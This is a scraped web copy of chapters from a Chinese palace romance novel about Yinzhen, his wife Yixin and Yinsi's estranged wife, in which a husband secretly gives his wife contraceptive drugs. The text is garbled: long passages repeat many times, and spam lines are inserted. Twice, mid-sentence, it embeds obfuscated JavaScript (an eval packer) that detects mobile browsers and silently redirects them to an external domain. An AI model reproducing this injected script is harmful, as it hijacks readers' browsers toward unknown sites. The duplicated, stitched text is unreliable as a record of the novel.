姚虞垂着眼复杂看着良妃,心里有思绪难平,疲惫和委屈的情绪如同山洪漫灌,她骤然嚎啕大哭。 “额娘,额娘…他欺负我,他真的欺负我,他给我用麝香避子,他任由年氏作贱我来抬高她,他想纳四福晋为侧室,不管我的死活,他拿我当物件,索求无度,我真的不想跟他过下去了。” 良妃用尽力气抱紧她,“我从小在宫里长大,没读过什么书,十几岁就做了皇上的妃妾,一直以来想得都是夫为妻纲。” “可是…额娘都看在眼里,不想再说那些违心的话拴住你,走吧,额娘祝福你。至于对不起胤禩,我生了他,就一笔勾销了。” … 姚虞慢慢走在宫道上,眉眼通红,衣袖下的手死死攥着良妃给她塞的一捆银票。 她腕间清透碧绿的玉镯在夕阳下有些萧条。 雍亲王府。 暮色渐沉,檐角灯笼刚亮起暖光,胤禩便提着灯站在正院的书房门外,指尖攥得发白,青石地的凉意透过黑靴渗进来。 仪欣隔着窗张望胤禩的身影,拉着胤禛一起看。 胤禛无奈搂着她的腰,防 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330009|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 止她在软榻上掉下来,刚刚还有气无力闹着肚子疼不做功课,有热闹看,比谁都积极。 “苏培盛,告诉老八,郭络罗氏不在这,让他赶紧回去。” 苏培盛哈腰,小步匆匆出去,走到胤禩面前,恭敬重复胤禛的话。 胤禩闻言,环顾四周,苦笑着低头跪了下来。 苏培盛大惊,赶紧跪下,膝行到胤禩旁边想着扶起他,“哎呦,八爷,您这是折煞奴才了,八爷。” 胤禩低着头,岿然不动。 仪欣瞪大了眼,这…八爷跪下了。 胤禛抱着仪欣,把她在软榻上放好,冷着脸大步走出书房,站到胤禩面前,“出去跪。” “四哥,姚虞向来跟四嫂关系好,你知道她在哪,你帮帮我,帮帮我。”胤禩咽下眼泪,哀求道。 仪欣在胤禛身后探出头来,叉着腰冷哼说:“八爷就是事后诸葛,自己做了什么,自己不清楚吗?” 胤禩跪着,是,他不让她有孕,被姚虞发现了,但是,他只是怕姚虞有了孩子要离开。 “姚虞有孩子会带着孩子离开,四嫂,我知道你在帮她,她在哪?” “你还有脸问?!你是畜牲吗?你给她下药!她那么喜欢孩子!她那么想要孩子!”仪欣嘶吼着,冲出来就甩了胤禩一个耳光。 要甩第二个,胤禛适时拦住,打一下过过瘾得了,不然她今晚得气得睡不着。 胤禩最后是被“请”出去的。 这是没办法练字了,胤禛牵着仪欣往正院走,仪欣还是心绪不宁,想着姚虞的遭遇,也想着她做的梦。 胤禛扶住她的肩膀,弯腰与她平视,轻声问:“仪欣今晨在烦恼什么?可以告诉我吗?” 第138章谈论孩子 仪欣呼吸放轻,看到胤禛颤抖的睫毛高挺的鼻梁和清冷的眉骨,不管了,先亲一口! 她撞上来,胤禛抽一口凉气,拇指抹一下唇角,感觉有点微微肿。 究竟是怎么养出来的? 娇娇弱弱的,又跟小牛犊子一样。 “小色鬼。”胤禛搂着她的肩膀往前走。 “王爷,我可不是什么小色鬼。” 仪欣弯唇,又牵住他的手撒娇晃了晃,“其实,也没什么,就是,我昨晚梦到了一只小矮马扔下来两个小孩子,特别可爱。” 麒麟送子? 胤禛一顿,轻声问:“长得像你吗?” “像!”仪欣兴奋点头,“还有一只特别像你。” “但是…王爷…”仪欣藏不住事,纠结一下还是坦诚说,又停顿住,看了看他的下面。 她的停顿很微妙。 胤禛咬了咬牙,气笑了。 给她扔出去算了。 省得整日上蹿下跳气人,还不老实,还闹人,还要人哄,还要人陪,还是个吞金兽。 他顿住脚步,回首指了指苏培盛,苏培盛立即将小橘灯递给胤禛,恭敬吩咐后面随从都退下。 半晌。 胤禛道:“能生。” “什么?” “本王能生。” “真的吗?”仪欣惊喜感叹,上下摸索着检查他,“为什么呢?王爷怎么突然能生了?宋太医给王爷治好了吗?” 宋太医:呵呵,我负责让王爷暂时生不出来。 “一直能生,但是,只有几个人知道这件事。” 胤禛俯身趴在仪欣背上,她仿佛在背着他,胤禛将脑袋搭在她单薄的肩膀上,亲了亲她香喷喷的侧脸,在她耳边低声解释这件事,仪欣越听越惊讶。 “王爷,我就是打八阿哥打轻了,他们闲的吧,谣传你绝嗣干什么?!” “嗯,他们就是闲的,都欺负本王。”胤禛笑道,“真是便宜你了,捡到本王这么健康又…纯情的。” 纯情王爷。 八爷九爷十爷:滚啊!!谁欺负谁?你敢跟四嫂开诚公布说清楚吗? “唔…便宜我了?”仪欣思考一下,“好像真的便宜我了欸!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 仪欣觉得有些不对劲,王爷说他绝嗣都是别人谣传的,但是他为啥不解释呢? 算了,也对哦,不然她跟王爷差十岁,怎么能拥有…纯情的王爷呢? 仪欣想明白又觉得很高兴哇,她不用在可爱的孩子和王爷之间做选择,真的是很圆满幸福。 胤禛闷闷笑,附和她的话,压在她的身上,赶着她背着自己走,仪欣踉踉跄跄,又在回忆昨晚那个格外真实的梦。 她冷不丁开口,“王爷,我昨晚梦到了,所以,你说…我会不会已经怀孕了? 胤禛沉默,拉住她的手腕,拇指摩擦一会儿,半晌才笑着问:“富察仪欣,我是在跟你演话本子吗?哪这么多神神叨叨的事?还在月事期间,就想着那档子事。 “我没有,真的。仪欣闷闷不乐。 胤禛从背后手臂环着她的脖颈,手捏着她的小脸,凑在她的耳边哑着嗓子说。 “乖乖,能让你怀孕的是我,不是梦。 做梦,不如跟他做。 仪欣浑身酥酥麻麻,耳尖被他的温热气息扫得通红,他他他…胤禛这样说话,仪欣腿都有些软绵,“王爷,不行,我背不动你了。 胤禛笑着弯腰把她抱起来,大步往正院走。 他温声问:“再提问一遍之前问的问题,仪欣喜欢小孩子吗? 仪欣弯了弯眼睛,坦诚点点头,“喜欢。 “嗯。胤禛心里了然,她之前就是考虑他的身体问题,才口是心非说不喜欢的。 “仪欣现在身体还是有些虚弱,本王想先把仪欣养好,然后咱们再一起迎接小孩子的到来,可以吗?胤禛商量问,“这件事,不要跟旁人说,好不好? 他本来不打算挑明,但是,如果日后他服用避子汤药东窗事发,他才不想变成老八那个蠢货模样。 仪欣思索一下,欣然点头,“好,那王爷先疼我,再疼小孩子。 “本王永远最疼怀里这只小孩子。 胤禛有些想落泪,竟是骤然感性起来,他不关心她梦到的是男是女,也没有偏爱阿哥还是格格的想法。 要等到她健康,要等到…太子再次被废,他把所有能继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339172|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位的阿哥都搞废,那时候,他有了孩子,才是最妥善最精彩的时候。 在此之前,他要趁 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 着皇阿玛信任,扩张权力,直到皇阿玛非他不可。 “好了,说清楚了吗?”胤禛稍稍亲亲她的脸,“可以高兴点了吗?” “说清楚了,”仪欣很高兴,“王爷,都怪你,不跟我早点说清楚。” “嗯,都是本王的错。” 胤禛心里轻哼,脑袋清明的人早就想明白了。 待仪欣熟睡,胤禛心里反倒有些不踏实,召来宋太医,将仪欣说的梦跟宋太医讲了一遍。 宋太医瞪大眼睛,瞠目结舌半晌没说出话来。 不是?福晋信这神神叨叨的东西,王爷也开始信了? “说话。”胤禛不耐烦。 宋太医:“王爷,福晋三日一请平安脉,定是能及时发现福晋有孕。况且…若是依您服用避子汤药来看…您和福晋上次同寝还是三个月以前吧…” 胤禛揉了揉额角,真是让她说迷糊了。 苏培盛低头,想笑不敢笑。 “辛苦,苏培盛,送赏。”胤禛道。 宋太医拱手,赶忙道谢。 他如今也是绑到雍亲王船上了,只是,雍亲王有一种莫名让人信服的气质,鸟禽择良木而栖。 他医术不错,却因无靠山无法升迁,实在是壮志难酬。 如今,也好。 … 乾清宫。 胤禛站在一旁给康熙磨墨,康熙眯着眼作画。 这段时日,胤禛一直进宫陪康熙,喝喝茶,下下棋,作画论诗,很是其乐融融。 仪欣也一样,因为在山西开设善堂的事,总是回富察府找马齐聊天,午膳也在富察府用,或者马齐陪着她去春意楼用膳。 小夫妻各自陪伴自己的阿玛。 半晌,两名小太监一左一右提起康熙完成的墨梅,笑着展示。 康熙舒服地倚着龙椅,满意地看着这幅墨梅倚寒图,挑眉看向胤禛,让他点评点评。 胤禛道:“阿玛送给儿子吧。” 康熙轻哼:“朕只是让你欣赏欣赏。” 第139章真正的胤禛醉酒 胤禛垂眸:“儿子就是因为太过欣赏,才跟阿玛讨要的。” 康熙哈哈大笑,扬扬下巴,示意梁九功给四皇子包起来。 “朕记得你最喜爱梅花,来,朕给你磨墨,你作一幅画来跟换朕的那幅。” 胤禛没有推诿,笑叹着提笔蘸墨,“那就辛苦阿玛了。” “谁在里面?”太子在乾清宫书房外沉声问。 侍奉的人是刘小泉,他思忖一下,哈腰试探道,“是四爷在书房同万岁爷议事。” “狗奴才,”太子桀骜啐一声,杏黄色**袍扫过朱红色石柱,“皇阿玛已然封笔,有何事要议?” 太子妃蹙眉拉住太子的袖口,眼神提醒他稍安勿躁。 没等多一会儿,胤禛自御书房出来,双手捧着花匣,微微颔首施礼,“二哥,二嫂。” 太子没有理会,嗤笑一声,迈步往御书房走去。 太子妃抚髻笑着找补,“年末事忙,太子殿下急于找皇阿玛商议宫宴事宜,故而匆忙些。” 胤禛无喜无悲,坦荡点头示意,“是,二嫂去忙吧,臣弟回府了。” 太子进入御书房,看到胤禛没画完的半幅墨梅,冷笑一声,阴阳怪气道,“皇阿玛好雅兴。” * 胤禛到富察府接仪欣回家。 仪欣和马齐在书房里兴致勃勃下棋,书房暖烘烘的,氤氲着淡淡的花香,傅文坐在仪欣身后,观棋不语。 马齐起初还想为了闺女高兴,隐晦让几个棋子,下了几局发现他不一定赢得过,诧异看着仪欣,也认真起来。 傅文心里骄傲又复杂。 过会儿,胤禛和傅辙并肩走到书房,傅文见状起身,想把仪欣身后的位置让给胤禛。 胤禛:“你坐着吧,本王身上凉。” 说完,胤禛解落大氅站到马齐身后,看着棋局,挑眉鼓励仪欣。 “阿玛,你快点呀。”仪欣看到胤禛的示意,兴奋催促马齐。 马齐捋了捋胡子,扔了手里三枚白子,感慨道,“吾儿,士别三日,刮目相待。” “王爷,我跟阿玛旗鼓相当。”仪欣骄傲扬了扬脑袋,甩了甩手里的银票。 胤禛笑着夸赞道:“福晋生财有道。” 马齐随手用 胳膊肘杵了一下身后嘚瑟的男人,冷哼道:“王爷和福晋在家里下棋都赌银票,老夫也是头次见。” 胤禛麻利后退一步,笑着耸耸肩。 书房内气氛和乐,仪欣偏生拉着胤禛下棋,让马齐让位置帮她参谋,马齐乐呵呵坐到闺女身后。 “没有观棋不语的规矩了,岳父和福晋一起来吧。”胤禛从容道,垂眸溜了溜棋盒里的棋子。 仪欣撸了撸袖子,“王爷你带银两了吗?” 胤禛无语,捻了捻佛珠,理直气壮勾勾手,“没有,仪欣借给本王。” “哦,好。”仪欣低头吭哧吭哧数银票,数了一沓放到胤禛手心。 胤禛抽出来一张,剩下的还回去,随意说:“不用,用不完。” 书房里马齐和傅辙傅文表情都一言难尽,他俩有毛病吗?不对,雍亲王有毛病吗? 马齐推了推傅辙,道,“吩咐小厨房早点做晚膳,留王爷福晋在府上用膳。” 半个时辰,仪欣输得血本无归,马齐还又贴进去五十几两银子,父女俩面面相觑,又虎视眈眈看着对面淡定数银票的男人。 胤禛随意捻了捻,余光看着仪欣聚精会神眼巴巴的小模样,将银票塞到袖袋里。 仪欣:…… 没过多久,钮祜禄氏身边派人传话,晚膳已经准备好了。 胤禛替仪欣系好斗篷,戴好毛茸茸的帷帽,仪欣今日穿着一身浅粉色的旗装,身姿绰约,灵动娇媚。 马齐和胤禛仪欣并肩走着,傅文默默半步远跟着。 穿过青色的假山,马齐往前半步,替仪欣和胤禛挡着风,眯着眼感慨道:“风雪欲来,王爷在乾清宫还好吗?” 胤禛笑笑:“今日剩了半幅画,明日接着去。” 仪欣仰头看着雾沉沉的天际,确实是风雪欲来啊,“既然快下雪了,那我们今晚不回去了。” “行。”胤禛附和。 马齐高兴笑了,拍了拍胤禛的肩膀,“不回去了好啊,今晚王爷陪老夫喝点酒吧。” “我也喝!”仪欣欢快跟着掺和。 马齐给仪欣捧场,半刻钟不到,已经开始乐呵呵夸赞她酒量好,进步大,会饮酒,是满洲格格的典范。 仪欣心满意足娇憨点头,仿佛尚未饮酒便已薄醉,飘飘然踩 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒, 